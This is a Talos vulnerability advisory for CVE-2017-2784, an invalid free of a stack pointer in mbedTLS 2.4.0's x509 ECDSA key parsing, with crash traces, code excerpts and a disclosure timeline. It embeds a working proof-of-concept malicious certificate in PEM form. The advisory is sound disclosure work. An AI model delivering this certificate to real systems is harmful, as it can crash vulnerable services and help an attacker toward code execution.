Talos Vulnerability Report

TALOS-2017-0274

ARM Mbedtls x509 ECDSA invalid public key Remote Code Execution Vulnerability

April 19, 2017
CVE Number

CVE-2017-2784

Summary

An exploitable free of a stack pointer vulnerability exists in the x509 certificate parsing code of ARM mbedTLS 2.4.0. A specially crafted x509 certificate, when parsed by mbedTLS library, can cause an invalid free of a stack pointer leading to a potential remote code execution. In order to exploit this vulnerability, an attacker can act as either a client or a server on a network to deliver malicious x509 certificates to vulnerable applications.

Tested Versions

ARM mbedTLS 2.4.0.

Product URLs

https://tls.mbed.org/

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A

CWE

CWE-590: Free of Memory not on the Heap

Details

mbedTLS, previously known as PolarSSL is an SSL and TLS implementation aimed at embedded devices and as such has few dependencies and small footprint. It is especially popular as a way of providing transport layer security to embedded web servers such as GoAhead, for example.

The vulnerability exists in the part of the code responsible for handling elliptic curve cryptographic keys. It can be triggered by supplying a specially crafted x509 certificate to the target which performs a series of checks on the certificate and supplied public key. In the provided proof-of-concept x509 certificate a curve of type secp224k1 is specified:

openssl x509 -inform DER -text -in poc.der
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 11350574552211845977 (0x9d85576ad52cf359)
    Signature Algorithm: ecdsa-with-SHA256
        Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Validity
            Not Before: Jan 12 21:21:28 2017 GMT
            Not After : Jan 12 21:21:28 2018 GMT
        Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
            Unable to load Public Key
    Signature Algorithm: ecdsa-with-SHA256
         30:3d:02:1d:00:d1:46:8a:7d:f8:d1:03:a7:a9:90:9a:2d:09:
         2f:e9:15:b5:5e:3a:14:ac:23:20:41:6e:0c:d0:c3:02:1c:10:
         1c:89:d4:0d:a3:04:0b:53:33:e4:fb:75:44:1d:a4:a3:0b:f9:
         d9:45:47:ff:99:d2:6f:ae:49
-----BEGIN CERTIFICATE-----
MIIBZzCCARUCCQCdhVdq1SzzWTAKBggqhkjOPQQDAjBFMQswCQYDVQQGEwJBVTET
MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ
dHkgTHRkMB4XDTE3MDExMjIxMjEyOFoXDTE4MDExMjIxMjEyOFowRTELMAkGA1UE
BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp
ZGdpdHMgUHR5IEx0ZDBOMBAGByqGSM49AgEGBSuBBAAgAzoABAAAAADiAAAAAAAA
uzoT1DsyMzc4OTUyHwYDVR0QAQH/BAgwBgEB/wIBCjAiBgNVHQ4EGwRjb8DAMAoG
CCqGSM49BAMCA0AAMD0CHQDRRop9+NEDp6mQmi0JL+kVtV46FKwjIEFuDNDDAhwQ
HInUDaMEC1Mz5Pt1RB2kowv52UVH/5nSb65J
-----END CERTIFICATE-----

Notice that openssl x509 tool fails to parse the public key properly. While parsing the certificate, and public key specifically, mbedTLS library will identify the curve in question as secp224k1 while validating the public key and will invoke a numer of elliptic curve arithmetic in order to verify the key, as can be seen from the context of the crashing application:

#0  0x00007ffff7a43428 in __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4502a in __GI_abort () at abort.c:89
#2  0x00007ffff7a857ea in __libc_message ([email protected]=2, [email protected]=0x7ffff7b9e2e0 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8de0a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e3f0 "double free or corruption (out)", action=3) at malloc.c:5004
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3865
#5  0x00007ffff7a9198c in __GI___libc_free (mem=<optimized out>) at malloc.c:2966
#6  0x0000000000429785 in mbedtls_mpi_grow (X=0x7fffffffcc30, nblimbs=4) at bignum.c:130
#7  0x000000000042c08a in mbedtls_mpi_mul_mpi (X=0x7fffffffcc30, A=0x7fffffffcba0, B=0x7fffffffcc50) at bignum.c:1187
#8  0x00000000004422c7 in ecp_mod_koblitz (N=0x7fffffffcd40, Rp=0x6882e0 <Rp.3115>, p_limbs=4, adjust=1, shift=32, mask=4294967295) at ecp_curves.c:1247
#9  0x0000000000442546 in ecp_mod_p224k1 (N=0x7fffffffcd40) at ecp_curves.c:1304
#10 0x0000000000437534 in ecp_modp (N=0x7fffffffcd40, grp=0x68b6e0) at ecp.c:677
#11 0x000000000043baf1 in ecp_check_pubkey_sw (grp=0x68b6e0, pt=0x68b7f0) at ecp.c:1660
#12 0x000000000043bfef in mbedtls_ecp_check_pubkey (grp=0x68b6e0, pt=0x68b7f0) at ecp.c:1774
#13 0x000000000044b57f in pk_get_ecpubkey (p=0x7fffffffce78, end=0x68b53d "0\n\006\b*\206H\316=\004\003\002\003@", key=0x68b6e0) at pkparse.c:489
#14 0x000000000044b957 in mbedtls_pk_parse_subpubkey (p=0x7fffffffce78, end=0x68b53d "0\n\006\b*\206H\316=\004\003\002\003@", pk=0x7fffffffd568) at pkparse.c:623
#15 0x00000000004233c8 in x509_crt_parse_der_core (crt=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=363) at x509_crt.c:821
#16 0x000000000042378a in mbedtls_x509_crt_parse_der (chain=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=363) at x509_crt.c:952
#17 0x0000000000423879 in mbedtls_x509_crt_parse (chain=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=363) at x509_crt.c:995
#18 0x0000000000423a1f in mbedtls_x509_crt_parse_file (chain=0x7fffffffd420, path=0x7fffffffe85f "/ramdisk/poc.der") at x509_crt.c:1094
#19 0x0000000000401d66 in main (argc=3, argv=0x7fffffffe5e8) at x509/cert_app.c:299

In the above output, the application is crashing due to invalid call to free inside mbedtls_mpi_grow function:

int mbedtls_mpi_grow( mbedtls_mpi *X, size_t nblimbs )
{
    mbedtls_mpi_uint *p;


...
    if( X->n < nblimbs )
    {
        if( ( p = (mbedtls_mpi_uint*)mbedtls_calloc( nblimbs, ciL ) ) == NULL )
            return( MBEDTLS_ERR_MPI_ALLOC_FAILED );


        if( X->p != NULL )
        {
            memcpy( p, X->p, X->n * ciL );
            mbedtls_mpi_zeroize( X->p, X->n );
            mbedtls_free( X->p );                                [1]
        }


....
}

At [1] a wrapper to libc free is called with X->p as parameter. Going backwards through the callstack and code, it can be concluded that final values of X and X->p are actually initialized in ecp_mod_koblitz function:

static inline int ecp_mod_koblitz( mbedtls_mpi *N, mbedtls_mpi_uint *Rp, size_t p_limbs,
                                   size_t adjust, size_t shift, mbedtls_mpi_uint mask )
{
    int ret;
    size_t i;
    mbedtls_mpi M, R;
    mbedtls_mpi_uint Mp[P_KOBLITZ_MAX + P_KOBLITZ_R];                                [1]
...
    /* Common setup for M */
    M.s = 1;
    M.p = Mp;                                                                        [2]


    /* M = A1 */
    M.n = N->n - ( p_limbs - adjust );
...
    MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &M, &M, &R ) );                                [3]


...

At [1], we can observe variable Mp being allocated on the stack. It’s assigned to M.p at [2] and at [3], a call to mbedtls_mpi_mul_mpi is made, which eventually leads to invalid free. This can also be confirmed in the debugger:

Breakpoint 1, mbedtls_mpi_grow (X=0x7fffffffcc30, nblimbs=0x5) at bignum.c:118
118         if( nblimbs > MBEDTLS_MPI_MAX_LIMBS )
gdb-peda$ p X->p
$7 = (mbedtls_mpi_uint *) 0x7fffffffcc70
gdb-peda$ vmmap X->p
Warning: not found or cannot access procfs
gdb-peda$ vmmap 0x7fffffffcc70
Start              End                Perm      Name
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
gdb-peda$ bt
#0  mbedtls_mpi_grow (X=0x7fffffffcc30, nblimbs=0x5) at bignum.c:118
#1  0x000000000042c08a in mbedtls_mpi_mul_mpi (X=0x7fffffffcc30, A=0x7fffffffcba0, B=0x7fffffffcc50) at bignum.c:1187
#2  0x00000000004422c7 in ecp_mod_koblitz (N=0x7fffffffcd20, Rp=0x6882e0 <Rp.3115>, p_limbs=0x4, adjust=0x1, shift=0x20, mask=0xffffffff) at ecp_curves.c:1247
#3  0x0000000000442546 in ecp_mod_p224k1 (N=0x7fffffffcd20) at ecp_curves.c:1304
#4  0x0000000000437534 in ecp_modp (N=0x7fffffffcd20, grp=0x68b6e0) at ecp.c:677
#5  0x000000000043ba9b in ecp_check_pubkey_sw (grp=0x68b6e0, pt=0x68b7f0) at ecp.c:1659
#6  0x000000000043bfef in mbedtls_ecp_check_pubkey (grp=0x68b6e0, pt=0x68b7f0) at ecp.c:1774
#7  0x000000000044b57f in pk_get_ecpubkey (p=0x7fffffffce78, end=0x68b53d "0\n\006\b*\206H\316=\004\003\002\003@", key=0x68b6e0) at pkparse.c:489
#8  0x000000000044b957 in mbedtls_pk_parse_subpubkey (p=0x7fffffffce78, end=0x68b53d "0\n\006\b*\206H\316=\004\003\002\003@", pk=0x7fffffffd568) at pkparse.c:623
#9  0x00000000004233c8 in x509_crt_parse_der_core (crt=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=0x16b) at x509_crt.c:821
#10 0x000000000042378a in mbedtls_x509_crt_parse_der (chain=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=0x16b) at x509_crt.c:952
#11 0x0000000000423879 in mbedtls_x509_crt_parse (chain=0x7fffffffd420, buf=0x68c660 "0\202\001g0\202\001\025\002\t", buflen=0x16b) at x509_crt.c:995
#12 0x0000000000423a1f in mbedtls_x509_crt_parse_file (chain=0x7fffffffd420, path=0x7fffffffe85f "/ramdisk/poc.der") at x509_crt.c:1094
#13 0x0000000000401d66 in main (argc=0x3, argv=0x7fffffffe5e8) at x509/cert_app.c:299
#14 0x00007ffff7a2e830 in __libc_start_main (main=0x401722 <main>, argc=0x3, argv=0x7fffffffe5e8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffe5d8) at ../csu/libc-start.c:291
#15 0x0000000000401519 in _start ()
gdb-peda$

Mitigating factor of this vulnerability is the fact that the area of memory pointed to by pointer being freed is zeroed-out just before the free, which does complicate exploitation, but since the library is designed and intended for embedded platforms which might not have modern heap exploitation mitigations in place, we believe it can result in remote code execution in certain environments.

The vulnerability can be triggered with the supplied PoC file by opening it in cert_app sample application provided with the library.

Crash Information

Valgrind output:

valgrind ./cert_app   mode=file filename=/ramdisk/poc.der
==28084== Memcheck, a memory error detector
==28084== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==28084== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==28084== Command: ./cert_app mode=file filename=/ramdisk/poc.der
==28084==
  . Loading the CA root certificate ... ok (0 skipped)


  . Loading the certificate(s) ...==28084== Invalid free() / delete / delete[] / realloc()
==28084==    at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==28084==    by 0x429784: mbedtls_mpi_grow (bignum.c:130)
==28084==    by 0x42C089: mbedtls_mpi_mul_mpi (bignum.c:1187)
==28084==    by 0x4422C6: ecp_mod_koblitz (ecp_curves.c:1247)
==28084==    by 0x442545: ecp_mod_p224k1 (ecp_curves.c:1304)
==28084==    by 0x437533: ecp_modp (ecp.c:677)
==28084==    by 0x43BAF0: ecp_check_pubkey_sw (ecp.c:1660)
==28084==    by 0x43BFEE: mbedtls_ecp_check_pubkey (ecp.c:1774)
==28084==    by 0x44B57E: pk_get_ecpubkey (pkparse.c:489)
==28084==    by 0x44B956: mbedtls_pk_parse_subpubkey (pkparse.c:623)
==28084==    by 0x4233C7: x509_crt_parse_der_core (x509_crt.c:821)
==28084==    by 0x423789: mbedtls_x509_crt_parse_der (x509_crt.c:952)
==28084==  Address 0xffeffebe0 is on thread 1's stack
==28084==  in frame #3, created by ecp_mod_koblitz (ecp_curves.c:1212)
==28084==
 failed
  !  mbedtls_x509_crt_parse_file returned -19584


==28084==
==28084== HEAP SUMMARY:
==28084==     in use at exit: 32 bytes in 1 blocks
==28084==   total heap usage: 25 allocs, 25 frees, 7,447 bytes allocated
==28084==
==28084== LEAK SUMMARY:
==28084==    definitely lost: 32 bytes in 1 blocks
==28084==    indirectly lost: 0 bytes in 0 blocks
==28084==      possibly lost: 0 bytes in 0 blocks
==28084==    still reachable: 0 bytes in 0 blocks
==28084==         suppressed: 0 bytes in 0 blocks
==28084== Rerun with --leak-check=full to see details of leaked memory
==28084==
==28084== For counts of detected and suppressed errors, rerun with: -v
==28084== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Timeline

2017-01-25 - Vendor Disclosure
2017-04-19 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.